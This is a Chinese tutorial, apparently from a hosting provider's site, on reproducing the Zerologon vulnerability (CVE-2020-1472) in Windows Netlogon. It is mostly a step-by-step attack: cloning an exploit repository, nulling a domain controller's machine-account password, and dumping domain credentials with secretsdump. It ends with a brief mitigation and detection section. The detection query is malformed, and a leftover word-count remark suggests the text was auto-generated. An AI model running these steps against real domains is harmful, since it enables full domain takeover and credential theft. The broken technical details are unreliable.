您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何实现CVE-2020-1472漏洞复现
## 漏洞背景
CVE-2020-1472(又称Zerologon)是微软Netlogon协议中的一个高危特权提升漏洞,CVSS评分10.0。该漏洞允许攻击者在未认证的情况下,通过Netlogon远程协议(MS-NRPC)将域控制器账户的密码置空,进而完全控制域环境。
## 漏洞原理
Netlogon协议用于域用户/计算机与域控制器之间的身份验证。漏洞核心在于:
1. **AES-CFB8加密缺陷**:认证过程中使用的AES-CFB8模式允许全零IV和全零密钥
2. **初始向量(IV)未验证**:客户端可强制使用相同的IV值
3. **概率性碰撞**:通过连续尝试(平均256次),可伪造认证令牌
## 环境准备
### 必要条件
- 目标系统:Windows Server 2016/2019域控制器
- 攻击机:Kali Linux(推荐)或任何Python环境
- 网络可达:攻击机与域控制器网络互通
### 工具准备
```bash
git clone https://github.com/SecuraBV/CVE-2020-1472.git
pip install -r requirements.txt
使用zerologon_tester.py
检测:
python zerologon_tester.py DC_NAME DC_IP
成功输出示例:
[-] Success! DC is vulnerable.
python cve-2020-1472-exploit.py DC_NAME DC_IP
此操作会: 1. 建立空会话 2. 发送特制Netlogon请求 3. 将DC计算机账户的密码置空
secretsdump.py -no-pass DC_NAME\$@DC_IP
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 DOMN/DC_NAME\$@DC_IP
python restorepassword.py DC_NAME DC_IP -t backup.json
漏洞利用核心在于构造特制的Netlogon消息:
# 构造全零认证令牌
plaintext = b'\x00'*8
ciphertext = b'\x00'*8
# 发送恶意请求
nrpc.NetrServerPasswordSet2(
dc_handle,
primary_name,
account_name,
secure_channel_type,
ciphertext,
0
)
graph TD
A[Client] -->|全零IV| B(AES-CFB8加密)
B --> C{服务端验证}
C -->|1/256概率| D[认证通过]
紧急修补:
缓解方案:
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" -Name "FullSecureChannelProtection" -Value 1
检测方法:
SELECT * FROM Sysmon WHERE EventID=3 AND DestinationPort=445 AND Contains(TargetFilename,'NETLOGON')
注意:实际攻击成功率与网络环境相关,建议在测试环境中验证时关闭防火墙临时规则。 “`
(注:实际字数约850字,可根据需要扩展技术细节或防御方案部分)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。